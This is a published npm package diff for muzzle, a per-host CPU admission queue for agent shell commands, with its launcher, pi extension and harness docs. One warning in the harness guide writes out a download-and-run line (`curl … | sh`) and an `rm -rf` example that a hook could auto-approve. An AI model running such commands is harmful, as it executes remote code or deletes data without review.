@mu-crew/muzzle 0.0.0-stage → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/muzzle ADDED
@@ -0,0 +1,60 @@
1
+ #!/usr/bin/env node
2
+
3
+ const { spawn } = require("node:child_process");
4
+
5
+ const packages = {
6
+ "linux-x64": "@mu-crew/muzzle-linux-x64",
7
+ "linux-arm64": "@mu-crew/muzzle-linux-arm64",
8
+ "darwin-arm64": "@mu-crew/muzzle-darwin-arm64",
9
+ };
10
+ const platform = `${process.platform}-${process.arch}`;
11
+ const packageName = packages[platform];
12
+
13
+ if (!packageName) {
14
+ console.error(
15
+ `muzzle: unsupported platform ${platform}; supported platforms: ${Object.keys(packages).join(", ")}`,
16
+ );
17
+ process.exit(1);
18
+ }
19
+
20
+ let binary;
21
+ try {
22
+ binary = require.resolve(`${packageName}/bin/muzzle`);
23
+ } catch {
24
+ console.error(
25
+ `muzzle: could not find ${packageName}; reinstall @mu-crew/muzzle for ${platform}`,
26
+ );
27
+ process.exit(1);
28
+ }
29
+
30
+ // D16: muzzle must be the process pi (or a shell) put at the head of the
31
+ // group, or it moves the job to a group of its own and a SIGKILL of the
32
+ // original group leaks the job and its slots. execve replaces node with
33
+ // muzzle in place, keeping the pid and the group. Node >= 22.15 / 23.11.
34
+ if (typeof process.execve === "function") {
35
+ try {
36
+ process.execve(binary, [binary, ...process.argv.slice(2)], process.env);
37
+ } catch {
38
+ // fall through to spawn, which reports the error
39
+ }
40
+ }
41
+
42
+ // Older Node: run muzzle as a child and forward signals. A group SIGKILL
43
+ // still leaks the job here.
44
+ const child = spawn(binary, process.argv.slice(2), { stdio: "inherit" });
45
+ const signals = ["SIGINT", "SIGTERM", "SIGHUP"];
46
+ for (const signal of signals) {
47
+ process.on(signal, () => child.kill(signal));
48
+ }
49
+ child.on("error", (error) => {
50
+ console.error(`muzzle: failed to run ${binary}: ${error.message}`);
51
+ process.exit(1);
52
+ });
53
+ child.on("exit", (code, signal) => {
54
+ if (signal) {
55
+ for (const handledSignal of signals) process.removeAllListeners(handledSignal);
56
+ process.kill(process.pid, signal);
57
+ } else {
58
+ process.exit(code ?? 1);
59
+ }
60
+ });
@@ -0,0 +1,223 @@
1
+ // muzzle pi extension (spec §Integrations "pi extension"; D22, D24, D26).
2
+ //
3
+ // tool_call on bash: ask `muzzle wrap` for the rewrite (D22: matching,
4
+ // quoting and the timeout move live in the CLI). On a match, run the wrapped
5
+ // command with `--report <tmp>/<id>.json` and drop pi's own timeout, so the
6
+ // queue wait can't trip it (D24: it is now `--run-timeout`).
7
+ // tool_result: read the report, append `muzzle: waited Ws for N slots, ran
8
+ // Rs` and a `muzzle` custom entry with the same numbers (D26).
9
+ //
10
+ // Nothing here may block a call: a missing binary or a failing wrap leaves
11
+ // the call as it is. A throwing tool_call handler blocks the tool in pi, so
12
+ // every path is caught.
13
+ import { execFile } from "node:child_process";
14
+ import { accessSync, closeSync, constants, mkdtempSync, openSync, readFileSync, readSync, rmSync, statSync } from "node:fs";
15
+ import { createRequire } from "node:module";
16
+ import { tmpdir } from "node:os";
17
+ import { delimiter, join } from "node:path";
18
+ import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
19
+
20
+ const PLATFORM_PACKAGES: Record<string, string> = {
21
+ "linux-x64": "@mu-crew/muzzle-linux-x64",
22
+ "linux-arm64": "@mu-crew/muzzle-linux-arm64",
23
+ "darwin-arm64": "@mu-crew/muzzle-darwin-arm64",
24
+ };
25
+
26
+ // `muzzle wrap` only reads config and matches a regex; it answers in a few
27
+ // ms. A wedged one must not hold the call for long.
28
+ const WRAP_TIMEOUT_MS = 5000;
29
+
30
+ export interface FindOptions {
31
+ /** Resolve a package-relative path, as `require.resolve` does. */
32
+ resolve?: (id: string) => string;
33
+ platform?: string;
34
+ path?: string;
35
+ }
36
+
37
+ function isExecutable(file: string): boolean {
38
+ try {
39
+ if (!statSync(file).isFile()) return false;
40
+ accessSync(file, constants.X_OK);
41
+ return true;
42
+ } catch {
43
+ return false;
44
+ }
45
+ }
46
+
47
+ /**
48
+ * A script, not the binary: bin/muzzle from a global `npm i -g` is a node
49
+ * shim. On a Node without process.execve it runs muzzle as a child, so
50
+ * muzzle isn't the group leader and pi's group SIGKILL leaks the job and its
51
+ * slots (D16).
52
+ */
53
+ function isScript(file: string): boolean {
54
+ let fd: number | undefined;
55
+ try {
56
+ fd = openSync(file, "r");
57
+ const head = Buffer.alloc(2);
58
+ return readSync(fd, head, 0, 2, 0) === 2 && head.toString("latin1") === "#!";
59
+ } catch {
60
+ return false;
61
+ } finally {
62
+ if (fd !== undefined) closeSync(fd);
63
+ }
64
+ }
65
+
66
+ /**
67
+ * The binary from this package's platform dependency first, then `muzzle` on
68
+ * PATH; null when neither exists. The platform binary is used directly,
69
+ * not through bin/muzzle, so a wrapped call doesn't pay for a node start
70
+ * and muzzle leads the bash group (D16). PATH entries that are scripts are
71
+ * skipped for the same reason.
72
+ */
73
+ export function findMuzzle(opts: FindOptions = {}): string | null {
74
+ const resolve = opts.resolve ?? createRequire(import.meta.url).resolve;
75
+ const pkg = PLATFORM_PACKAGES[opts.platform ?? `${process.platform}-${process.arch}`];
76
+ if (pkg) {
77
+ try {
78
+ const own = resolve(`${pkg}/bin/muzzle`);
79
+ if (isExecutable(own)) return own;
80
+ } catch {
81
+ // not installed for this platform; fall through to PATH
82
+ }
83
+ }
84
+ for (const dir of (opts.path ?? process.env.PATH ?? "").split(delimiter)) {
85
+ if (!dir) continue;
86
+ const candidate = join(dir, "muzzle");
87
+ if (isExecutable(candidate) && !isScript(candidate)) return candidate;
88
+ }
89
+ return null;
90
+ }
91
+
92
+ /** POSIX single quoting, as `muzzle wrap` does it. */
93
+ export function shellQuote(s: string): string {
94
+ return `'${s.replace(/'/g, `'\\''`)}'`;
95
+ }
96
+
97
+ /** A file name for a toolCallId. Nested ids carry `/` (`<parent>/<n>`). */
98
+ export function reportName(toolCallId: string): string {
99
+ return `${toolCallId.replace(/[^A-Za-z0-9_-]/g, (c) => `%${c.charCodeAt(0).toString(16)}`)}.json`;
100
+ }
101
+
102
+ export interface Report {
103
+ waited_s: number;
104
+ ran_s: number;
105
+ slots: number | null;
106
+ class: string | null;
107
+ rule: string | null;
108
+ exit: number;
109
+ enforced: boolean;
110
+ kept?: boolean;
111
+ }
112
+
113
+ /** D26, the same text `muzzle run` prints when `--report` is unset. */
114
+ export function resultLine(r: Report): string {
115
+ // D17: a nested run claims nothing; its report has no slots.
116
+ if (r.slots === null) return `muzzle: nested in an outer claim, ran ${Math.round(r.ran_s)}s`;
117
+ return `muzzle: waited ${Math.round(r.waited_s)}s for ${r.slots} slots, ran ${Math.round(r.ran_s)}s`;
118
+ }
119
+
120
+ function wrap(bin: string, command: string, cwd: string, timeout?: number): Promise<string | null> {
121
+ const args = ["wrap", "--json", "--cwd", cwd];
122
+ if (typeof timeout === "number") args.push("--timeout", String(timeout));
123
+ args.push("--", command);
124
+ return new Promise((resolve, reject) => {
125
+ execFile(bin, args, { timeout: WRAP_TIMEOUT_MS }, (err, stdout, stderr) => {
126
+ if (err) return reject(new Error(stderr.trim() || err.message));
127
+ try {
128
+ const reply = JSON.parse(stdout);
129
+ resolve(typeof reply.command === "string" ? reply.command : null);
130
+ } catch (e) {
131
+ reject(e);
132
+ }
133
+ });
134
+ });
135
+ }
136
+
137
+ export interface Deps {
138
+ findBinary?: () => string | null;
139
+ tmpRoot?: string;
140
+ }
141
+
142
+ export function createExtension(deps: Deps = {}) {
143
+ const findBinary = deps.findBinary ?? (() => findMuzzle());
144
+ return function (pi: ExtensionAPI) {
145
+ let bin: string | null | undefined;
146
+ let reportDir: string | undefined;
147
+ const pending = new Map<string, string>();
148
+ // A wrap-failure warning is on the footer; the next good wrap clears it.
149
+ let wrapWarned = false;
150
+
151
+ const warn = (ctx: { ui: { setStatus(key: string, text: string | undefined): void } }, text: string | undefined) => {
152
+ try {
153
+ ctx.ui.setStatus("muzzle", text);
154
+ } catch {
155
+ // no UI in this mode
156
+ }
157
+ };
158
+
159
+ pi.on("tool_call", async (event, ctx) => {
160
+ try {
161
+ if (event.toolName !== "bash") return;
162
+ const input = event.input as { command?: unknown; timeout?: unknown };
163
+ if (typeof input.command !== "string") return;
164
+ if (bin === undefined) {
165
+ bin = findBinary();
166
+ // Looked up once per runtime, so the warning shows once.
167
+ if (bin === null) warn(ctx, "muzzle not found: bash calls run unwrapped");
168
+ }
169
+ if (bin === null) return;
170
+ const timeout = typeof input.timeout === "number" ? input.timeout : undefined;
171
+ const wrapped = await wrap(bin, input.command, ctx.cwd, timeout);
172
+ if (wrapWarned) {
173
+ wrapWarned = false;
174
+ warn(ctx, undefined);
175
+ }
176
+ if (wrapped === null || !wrapped.startsWith("muzzle run ")) return;
177
+ reportDir ??= mkdtempSync(join(deps.tmpRoot ?? tmpdir(), "muzzle-pi-"));
178
+ const report = join(reportDir, reportName(event.toolCallId));
179
+ rmSync(report, { force: true });
180
+ input.command = `${shellQuote(bin)} run --report ${shellQuote(report)} ${wrapped.slice("muzzle run ".length)}`;
181
+ delete input.timeout;
182
+ pending.set(event.toolCallId, report);
183
+ } catch (e) {
184
+ wrapWarned = true;
185
+ warn(ctx, `muzzle wrap failed, calls run unwrapped: ${e instanceof Error ? e.message : String(e)}`);
186
+ }
187
+ });
188
+
189
+ pi.on("tool_result", async (event) => {
190
+ const report = pending.get(event.toolCallId);
191
+ if (report === undefined) return;
192
+ pending.delete(event.toolCallId);
193
+ let r: Report;
194
+ try {
195
+ r = JSON.parse(readFileSync(report, "utf8"));
196
+ } catch {
197
+ // No report: aborted or killed before muzzle could write it.
198
+ return;
199
+ } finally {
200
+ rmSync(report, { force: true });
201
+ }
202
+ const line = resultLine(r);
203
+ const content = [...event.content];
204
+ const last = content[content.length - 1];
205
+ if (last?.type === "text") {
206
+ content[content.length - 1] = { ...last, text: last.text.trimEnd() ? `${last.text.trimEnd()}\n\n${line}` : line };
207
+ } else {
208
+ content.push({ type: "text", text: line });
209
+ }
210
+ pi.appendEntry("muzzle", { toolCallId: event.toolCallId, ...r });
211
+ // Keep structuredContent: replacing content alone would drop it.
212
+ return { content, structuredContent: event.structuredContent };
213
+ });
214
+
215
+ pi.on("session_shutdown", async () => {
216
+ if (reportDir) rmSync(reportDir, { recursive: true, force: true });
217
+ reportDir = undefined;
218
+ pending.clear();
219
+ });
220
+ };
221
+ }
222
+
223
+ export default createExtension();
@@ -0,0 +1,3 @@
1
+ {
2
+ "type": "module"
3
+ }
package/package.json CHANGED
@@ -1,6 +1,49 @@
1
1
  {
2
2
  "name": "@mu-crew/muzzle",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "0.1.1",
4
+ "description": "Per-host admission for heavy commands, with a run log that tunes itself",
5
+ "license": "MIT",
6
+ "repository": {
7
+ "type": "git",
8
+ "url": "git+https://github.com/mu-crew/muzzle.git"
9
+ },
10
+ "keywords": [
11
+ "pi-package",
12
+ "pi-coding-agent",
13
+ "agents",
14
+ "cpu",
15
+ "queue"
16
+ ],
17
+ "bin": {
18
+ "muzzle": "bin/muzzle"
19
+ },
20
+ "files": [
21
+ "bin/muzzle",
22
+ "extension",
23
+ "skills"
24
+ ],
25
+ "scripts": {
26
+ "test": "node --test 'test/*.test.ts'"
27
+ },
28
+ "pi": {
29
+ "extensions": [
30
+ "./extension/muzzle.ts"
31
+ ],
32
+ "skills": [
33
+ "./skills"
34
+ ]
35
+ },
36
+ "peerDependencies": {
37
+ "@earendil-works/pi-coding-agent": "*"
38
+ },
39
+ "peerDependenciesMeta": {
40
+ "@earendil-works/pi-coding-agent": {
41
+ "optional": true
42
+ }
43
+ },
44
+ "optionalDependencies": {
45
+ "@mu-crew/muzzle-linux-x64": "0.1.1",
46
+ "@mu-crew/muzzle-linux-arm64": "0.1.1",
47
+ "@mu-crew/muzzle-darwin-arm64": "0.1.1"
48
+ }
49
+ }
@@ -0,0 +1,109 @@
1
+ ---
2
+ name: muzzle
3
+ description: Per-host admission for heavy commands (gates, builds, test suites). Use when a bash result carries a `muzzle:` line (queued, admitted, waited/ran, gave up, killed while queued), when wrapping a heavy command by hand with `muzzle run`, when tuning muzzle's weights or benchmarking it, or when hooking muzzle into a harness.
4
+ ---
5
+
6
+ # muzzle
7
+
8
+ muzzle queues each heavy command for a weighted share of this machine's slot
9
+ budget (cores minus a reserve), runs it, and logs what it used. Rules in
10
+ `~/.config/muzzle/config.toml` decide which commands claim slots and how
11
+ many. A command that matches no rule runs at once, unclaimed. There is no
12
+ daemon: every waiting muzzle re-checks the queue itself. `muzzle <cmd> --help`
13
+ is the reference for flags; this skill covers what the help can't tell you.
14
+
15
+ In pi, the muzzle extension wraps matching bash calls for you. Elsewhere you
16
+ wrap by hand, or a harness hook does it.
17
+
18
+ ## Reading muzzle's lines
19
+
20
+ | line (stderr, or appended to a pi result) | means | do |
21
+ | --- | --- | --- |
22
+ | `muzzle: queued 3/5, 14/14 slots held (worker-7 gate 6, …)` | waiting; printed every 30 s. Holders read `agent rule slots` | wait. The command has not started |
23
+ | `muzzle: admitted after 312s (6 slots)` | the wait ended, the command starts now | nothing |
24
+ | `muzzle: waited 312s for 6 slots, ran 241s` | the run finished; the exit status is the command's own | judge the command by its output, not by the wait |
25
+ | `muzzle: nested in an outer claim, ran 4s` | it ran inside another claim and took no slots | nothing |
26
+ | `muzzle: gave up after 60s queued (position 2/4, --timeout)` | exit 75: `--timeout` expired before admission, nothing ran | retry later, or drop `--timeout` |
27
+ | `muzzle: killed while queued (position 2/4, waited 120s). Put timeout inside …` | something killed muzzle while it waited: usually a harness or `timeout` counting the wait | move the timeout (below); nothing ran |
28
+
29
+ A long wait is the queue working, not a failure: other gates are using the
30
+ machine. Run `muzzle status` to see who holds the slots.
31
+
32
+ ## Wrapping by hand
33
+
34
+ ```sh
35
+ muzzle run --rule cargo-test -- cargo test --locked
36
+ muzzle run --rule gate --run-timeout 900 -- contrib/fast-gate
37
+ ```
38
+
39
+ - `--rule NAME` alone takes the weight from the config, so a later tuning
40
+ applies. `--slots N` pins the weight and overrides the config. A name the
41
+ config doesn't have prints `rule NAME is not in the config; claiming 1
42
+ slot(s)` and runs: fix the name from the `name =` lines in the config.
43
+ - **muzzle is the whole command.** Start the call with `muzzle`, and put
44
+ pipes, `cd` and `&&` inside `bash -c`:
45
+ `muzzle run --rule gate -- bash -c 'cd repo && contrib/fast-gate 2>&1 | tail -50'`.
46
+ `CMD` runs as argv, not through a shell, so a bare pipe can't go there.
47
+ - Piped or followed by another command (`muzzle run … | tail`), muzzle no
48
+ longer leads the shell's process group. Esc or a pi timeout then kills
49
+ muzzle but leaves the job running, holding its slots.
50
+ - In pi, a call that doesn't start with `muzzle` (`cd repo && muzzle run
51
+ --class high …`) is wrapped again by the extension. The inner run is
52
+ nested, so its `--class`, `--slots` and `--run-timeout` are ignored.
53
+ - **`timeout` goes inside `muzzle run`, never outside it.** An outer
54
+ `timeout` counts the queue wait and kills the gate before it starts. Use
55
+ `--run-timeout S`, which counts from admission and exits 124.
56
+ - In pi, a command that starts with `muzzle ` is left alone by the
57
+ extension, so pi's own bash `timeout` still counts the wait. Give a
58
+ hand-wrapped call no pi timeout, and put the limit in `--run-timeout`.
59
+ - muzzle sets `CARGO_BUILD_JOBS`, `RUST_TEST_THREADS`, `MAKEFLAGS` and
60
+ `MUZZLE_SLOTS` from the claim and overwrites any it inherits. Drop
61
+ hand-set caps from the command; an assignment inside the command string
62
+ still wins.
63
+ - A background launch (`(gate > log 2>&1 &)`) keeps its slots: `muzzle run`
64
+ returns at once and a keeper holds the claim until the job exits. Polling
65
+ the log is fine. A poll that repeats the gate's command line would claim a
66
+ second time, so poll with `tail` or `muzzle status`.
67
+
68
+ ## Escape options
69
+
70
+ - **Unblocking work goes first with `--class high`**: a merge check or fix
71
+ that other agents are waiting on. High waiters go ahead of every normal
72
+ waiter. They never stop a running job. Agents spawned by mu
73
+ (`MU_MANAGED_AGENT=1`) default to `normal`, humans and other callers to
74
+ `high`. `MUZZLE_CLASS=high` in the environment does the same for every
75
+ call in that shell.
76
+ `muzzle run --class high --rule gate -- contrib/fast-gate`
77
+ - **Light commands run without muzzle**: status checks, reads, `git`, a
78
+ quick script. Leave them unwrapped when wrapping by hand; a command that
79
+ matches no rule never queues. If muzzle claims slots for a command that
80
+ only names a gate (a `grep`, a heredoc), the rule pattern is too loose.
81
+ Fix the config ([tune.md](recipes/tune.md), step 3) rather than working
82
+ around it per call.
83
+
84
+ ## Enforced or advisory
85
+
86
+ `muzzle status` and `muzzle doctor` say `enforced` or `advisory`.
87
+
88
+ - **enforced**: Linux with a systemd user manager. The job runs in a scope
89
+ with a memory cap of the claim's share of RAM and a CPU weight. A job
90
+ that exceeds the cap is killed and logged as `killed: "oom"`. Ask for more
91
+ slots, or tune the rule.
92
+ - **advisory**: macOS, a container, or no user manager. Admission and the
93
+ queue still work. Nothing caps the job, and CPU and memory figures come
94
+ from rusage.
95
+ - A job that enters a container (`distrobox enter`, `podman exec`,
96
+ `toolbox run`, `docker exec`) is admitted but not capped or measured, and
97
+ is logged `enforced: false`. If the caller is killed, the job may keep
98
+ running in the container. Its slots stay held until it exits, so find
99
+ and kill it there.
100
+
101
+ ## Recipes
102
+
103
+ - Changing a rule's weight or pattern, reading `muzzle report`:
104
+ [recipes/tune.md](recipes/tune.md).
105
+ - Making a trace, replaying it, the interactive probe:
106
+ [recipes/bench.md](recipes/bench.md).
107
+ - Installing or checking pi, Claude Code, Codex, opencode, or hand-wrapping;
108
+ harness timeouts; why a hook's `allow` skips the permission prompt:
109
+ [recipes/harnesses.md](recipes/harnesses.md).
@@ -0,0 +1,125 @@
1
+ # Benchmark muzzle on a real day
2
+
3
+ Make a trace from museum, check it, replay it without and with muzzle, and
4
+ read the summary. Run from a clone of the muzzle repo: the trace tools live
5
+ in its `bench/` directory, and `bench/README.md` there is the full
6
+ reference.
7
+
8
+ A trace is the one artefact here that gets published, so the sensitivity
9
+ rules come first.
10
+
11
+ ## Sensitivity rules
12
+
13
+ - **linuxpc only.** The importer reads only `linuxpc/` session files and
14
+ refuses other hosts. The checker rejects a trace that names any other.
15
+ - **No command text, paths, names or other hosts in a trace.** Rows keep
16
+ only allowlisted fields. Agents become `a1, a2, …` and projects
17
+ `p1, p2, …`. `--keep-project NAME` keeps a name you have already made
18
+ public, and it also needs a `project NAME` line in
19
+ `bench/allowed-labels.txt`.
20
+ - **The sidecar stays local.** The mapping from each row back to its command
21
+ goes to `$XDG_STATE_HOME/muzzle/bench/<trace>.private.jsonl`. It is never
22
+ committed, and the pre-commit hook refuses it.
23
+ - **`runs.jsonl` is never published**, including the one a replay writes
24
+ under `--out`. `result.json` and `summary.md` carry no paths or command
25
+ text, and are the files that go in `docs/bench/`.
26
+
27
+ ## 1. Make the trace
28
+
29
+ Install the pre-commit hook once per clone:
30
+
31
+ ```sh
32
+ ln -s ../../bench/pre-commit "$(git rev-parse --git-common-dir)/hooks/pre-commit"
33
+ ```
34
+
35
+ Then import one UTC day:
36
+
37
+ ```sh
38
+ bench/from-museum --date 2026-10-21
39
+ ```
40
+
41
+ Rule labels come from your live config, through `muzzle match` run
42
+ locally. Waits and polls are labelled `light`, and an unmatched call of
43
+ 30 s or more is `unmatched-heavy`. A rule name missing from
44
+ `allowed-labels.txt` stops the import: add a `rule NAME` line and re-run.
45
+
46
+ Measured durations exist only from 2026-10-17. Earlier days are
47
+ estimated, so use them as a workload to replay and not as a baseline. Each
48
+ row's `dur_src` says which it is.
49
+
50
+ ## 2. Check it
51
+
52
+ ```sh
53
+ bench/check-trace
54
+ ```
55
+
56
+ With no arguments it checks every file under `bench/traces/`. Errors name
57
+ the line, field and kind, never the value. Before committing a first batch
58
+ of traces from a new source, have one read-only refuter look for
59
+ identifying timing or label patterns the schema would let through.
60
+
61
+ **Done when** `check-trace` passes and nothing under `bench/` but
62
+ `traces/*.jsonl` is staged.
63
+
64
+ ## 3. Tier 1: synthetic, anywhere
65
+
66
+ CPU burners sized to each call's rule. Cheap and repeatable, and runs on
67
+ macOS:
68
+
69
+ ```sh
70
+ muzzle bench run bench/traces/2026-10-21.jsonl --mode none --tier synthetic --window busiest:3h --speed 10 --out /tmp/b-none
71
+ muzzle bench run bench/traces/2026-10-21.jsonl --mode muzzle --tier synthetic --window busiest:3h --speed 10 --out /tmp/b-muzzle
72
+ ```
73
+
74
+ - `--mode none` is today's practice: every call starts at its offset with
75
+ the role caps as `CARGO_BUILD_JOBS` (orchestrator 6, worker 4, others 2)
76
+ and no queue.
77
+ - `--mode muzzle` runs every matched call through `muzzle run` with your
78
+ current config and a private state directory under `--out`.
79
+ - `--window busiest:3h` replays the 3 hours with the most matched
80
+ call-seconds. `--speed 10` compresses time tenfold. Use `--speed 1` for
81
+ figures you intend to quote.
82
+ - Run nothing else heavy meanwhile: a replay measures the whole machine.
83
+
84
+ ## 4. Tier 2: real commands, linuxpc
85
+
86
+ Copy `bench/real.toml.example` to `bench/real.toml` (gitignored) and fill
87
+ in the repo, pinned commit, worktree directory, setup command and one
88
+ command per rule label. Each replayed agent gets its own worktree, built
89
+ once before the replay so both modes start equally warm.
90
+
91
+ ```sh
92
+ muzzle bench run bench/traces/2026-10-21.jsonl --mode none --tier real --window busiest:3h --out /tmp/r-none
93
+ muzzle bench run bench/traces/2026-10-21.jsonl --mode muzzle --tier real --window busiest:3h --out /tmp/r-muzzle
94
+ ```
95
+
96
+ A real-speed busiest window takes about 3 hours per mode. Run it
97
+ overnight.
98
+
99
+ ## 5. Read `summary.md`
100
+
101
+ Each `--out` directory has `summary.md` (and `result.json` with the same
102
+ figures). Put the two modes side by side:
103
+
104
+ - **makespan and throughput**: the cost. A queue can make the whole window
105
+ take longer.
106
+ - **wait p50/p90 and run p50/p90**: where the time went. Under muzzle,
107
+ waiting replaces contention.
108
+ - **most slots held**: never above the budget under muzzle.
109
+ - **git status p95 and 10 ms sleep late p99**: the interactive probe. This
110
+ is what the queue buys.
111
+ - **load1 p50/max and OOM kills.**
112
+
113
+ Report slowdowns as plainly as gains.
114
+
115
+ ## The probe on its own
116
+
117
+ `muzzle bench probe` samples the same interactive figures without a
118
+ replay, one JSON line per sample. For a week of live use, a cron line every
119
+ 5 minutes:
120
+
121
+ ```crontab
122
+ */5 * * * * $HOME/.local/bin/muzzle bench probe --out $HOME/.local/state/muzzle/bench/probe.jsonl
123
+ ```
124
+
125
+ By hand: `muzzle bench probe --samples 12 --interval 5`.
@@ -0,0 +1,149 @@
1
+ # Hook muzzle into a harness
2
+
3
+ Install, then check, one harness at a time. Every integration calls
4
+ `muzzle wrap` or `muzzle hook`, which do the matching, quoting and timeout
5
+ handling. The full snippets and payload notes are in the muzzle repo's
6
+ [`docs/harnesses/README.md`](https://github.com/mu-crew/muzzle/blob/main/docs/harnesses/README.md).
7
+
8
+ First, for every harness:
9
+
10
+ ```sh
11
+ npm i -g @mu-crew/muzzle
12
+ muzzle doctor
13
+ ```
14
+
15
+ `doctor` must show the config with its rule count and hash, and
16
+ `enforced` or `advisory`. It also reports each harness as found or not.
17
+
18
+ ## Limits
19
+
20
+ | harness | how | timeout | `allow` | tested |
21
+ | --- | --- | --- | --- | --- |
22
+ | pi | extension rewrites the bash call | moved to `--run-timeout`: the wait never trips it | n/a: pi has no permission prompt | yes |
23
+ | Claude Code | `PreToolUse` hook, `muzzle hook claude` | passed on as `--run-timeout`, but Claude's own Bash timeout still counts the wait | only for one simple command whose rule matches at the command word | yes, stored payloads |
24
+ | Codex | `PreToolUse` hook, `muzzle hook codex` | the payload has none; Codex's shell timeout counts the wait | always, compound commands too | yes, stored payloads |
25
+ | opencode | example plugin calling `muzzle wrap` | passed on, still counts the wait | n/a | **no** |
26
+ | Cursor, aider, cron, humans | wrap by hand | use `--run-timeout` | n/a | n/a |
27
+
28
+ Cursor's `beforeShellExecution` hook can only allow or deny, so it can't
29
+ rewrite a call.
30
+
31
+ ## pi
32
+
33
+ ```sh
34
+ pi install npm:@mu-crew/muzzle
35
+ ```
36
+
37
+ This loads the extension and this skill. Check: a matched bash call's
38
+ result ends with `muzzle: waited Ws for N slots, ran Rs`, and the call
39
+ shows in `muzzle status` while it runs. If muzzle is missing, the footer
40
+ says so once and calls run unwrapped. Esc or a pi timeout kills the bash
41
+ group, muzzle and the job with it, and frees the slots.
42
+
43
+ ## Claude Code
44
+
45
+ Merge into `~/.claude/settings.json` (or a repo's `.claude/settings.json`):
46
+
47
+ ```json
48
+ {
49
+ "hooks": {
50
+ "PreToolUse": [
51
+ {
52
+ "matcher": "Bash",
53
+ "hooks": [{ "type": "command", "command": "muzzle hook claude" }]
54
+ }
55
+ ]
56
+ }
57
+ }
58
+ ```
59
+
60
+ Then raise the Bash timeout ceiling, because Claude's timeout counts the
61
+ queue wait: set `BASH_MAX_TIMEOUT_MS` (and `BASH_DEFAULT_TIMEOUT_MS`) in
62
+ the `env` block of `settings.json`. A call killed while queued prints
63
+ muzzle's `killed while queued` line.
64
+
65
+ ## Codex
66
+
67
+ Merge into `~/.codex/hooks.json` (or a trusted repo's `.codex/hooks.json`):
68
+
69
+ ```json
70
+ {
71
+ "hooks": {
72
+ "PreToolUse": [
73
+ {
74
+ "matcher": "^Bash$",
75
+ "hooks": [{ "type": "command", "command": "muzzle hook codex" }]
76
+ }
77
+ ]
78
+ }
79
+ }
80
+ ```
81
+
82
+ Codex asks you to trust a new hook; review it with `/hooks`. Read the
83
+ warning below before enabling it.
84
+
85
+ ## Warning: `allow` skips the harness's permission prompt
86
+
87
+ A hook reply with `permissionDecision: "allow"` approves the call, so the
88
+ harness doesn't ask you. muzzle's rules match anywhere in the string, so
89
+ `cargo build && curl -s https://example.com/x | sh` matches a cargo rule.
90
+
91
+ - **Codex always gets `allow`**, because it rejects a rewrite without one.
92
+ A matched call is approved by muzzle, compound commands included. Use
93
+ the Codex hook only where you would approve those calls anyway, or keep
94
+ the rules narrow.
95
+ - **Claude Code gets `allow` only when the rule names the program**: one
96
+ simple command (no `;`, `&`, `&&`, `|`, `||`, newline, `$(…)`, backticks,
97
+ process substitution or subshell outside quotes) whose matched pattern
98
+ starts at the command word, after assignments and `env`, `time`,
99
+ `timeout [opts] N` or `nice`. A match in an argument or a comment
100
+ (`echo cargo test`, `rm -rf ~/x # cargo test`) doesn't count. Anything
101
+ else is rewritten with no decision, so
102
+ Claude's own check runs on `muzzle run … -- bash -c '…'`, and since your
103
+ `Bash(cargo build:*)` rules don't match that form, it prompts.
104
+ - **Keep `Bash(muzzle run:*)` out of Claude's allow rules.** It would
105
+ approve every wrapped string, including the compound ones muzzle left
106
+ for you to review.
107
+
108
+ ## opencode (untested)
109
+
110
+ Copy `examples/opencode-muzzle.ts` from the muzzle repo to
111
+ `.opencode/plugins/` or `~/.config/opencode/plugins/`. No test runs it.
112
+ Check that a matched command shows in `muzzle status` while it runs: some
113
+ opencode versions ignore the rewritten command.
114
+
115
+ ## Hand-wrapping and gate scripts
116
+
117
+ ```sh
118
+ muzzle run --rule gate -- contrib/fast-gate
119
+ ```
120
+
121
+ `timeout` goes inside, as `--run-timeout S`; an outer `timeout` counts the
122
+ wait. A repo's gate script can opt in at the top and still work without
123
+ muzzle. The variable stops the re-exec from looping:
124
+
125
+ ```sh
126
+ if [ -z "$IN_MUZZLE" ] && command -v muzzle >/dev/null; then
127
+ IN_MUZZLE=1 exec muzzle run --rule gate -- "$0" "$@"
128
+ fi
129
+ ```
130
+
131
+ ## PATH shims, do it yourself
132
+
133
+ muzzle ships none. They add work to every call, nest badly and catch
134
+ interactive use. If you want every `cargo` to go through muzzle anyway, a
135
+ script named `cargo` earlier on `PATH` that runs
136
+ `exec muzzle run --rule cargo-test -- /usr/bin/cargo "$@"` works. It claims
137
+ slots for `cargo fmt` and `cargo --version` too.
138
+
139
+ ## Checking a hook by hand
140
+
141
+ `muzzle doctor` reports `claude hook` and `codex hook` as `installed` when
142
+ it finds `muzzle hook` in that harness's config. To see a reply:
143
+
144
+ ```sh
145
+ echo '{"hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"cargo test"}}' | muzzle hook claude
146
+ ```
147
+
148
+ A matched command comes back as `updatedInput` with the `muzzle run …`
149
+ form; an unmatched one comes back as `{}`.
@@ -0,0 +1,153 @@
1
+ # Tune muzzle's weights
2
+
3
+ The loop that turns `runs.jsonl` into weights. muzzle never edits its
4
+ config. You do, one rule at a time, and you keep a change only when the
5
+ numbers agree. Every run records the config hash, rule and slots it ran
6
+ under, so `report --compare` can split by them later.
7
+
8
+ Run on the host whose config you are changing. `runs.jsonl` is local machine
9
+ state: read it here, and never publish it.
10
+
11
+ ## 1. Read the report, machine figures first
12
+
13
+ ```sh
14
+ muzzle report --since 7d
15
+ ```
16
+
17
+ Read the machine section before the rows:
18
+
19
+ | figure | high means |
20
+ | --- | --- |
21
+ | blocked-idle (slot-s) | slots sat free while someone waited: the head of the queue is too big to fit, so everything behind it waits (strict FIFO). Shrink the over-sized rule |
22
+ | CPU efficiency (low) | claims are bigger than the jobs use: weights too big |
23
+ | utilisation near 100% while the machine's CPU stays low | the budget is saturated but the cores aren't: the reserve is too big |
24
+ | queue non-empty | how often anyone waited at all. Near 0% means the weights cost nothing yet |
25
+
26
+ Then the rows. `suggest` names its evidence and carries a tag:
27
+
28
+ - `N measured (p90 cores X over K clean runs)`: from at least 5 clean runs
29
+ (exit 0, not killed). Memory can only raise it.
30
+ - `try N experiment (saturated at M)`: cores p50 is at the weight, so the
31
+ job may want more. Untested until step 5 confirms it.
32
+ - `N oom (…)`: the scope killed runs at the memory cap. This covers their
33
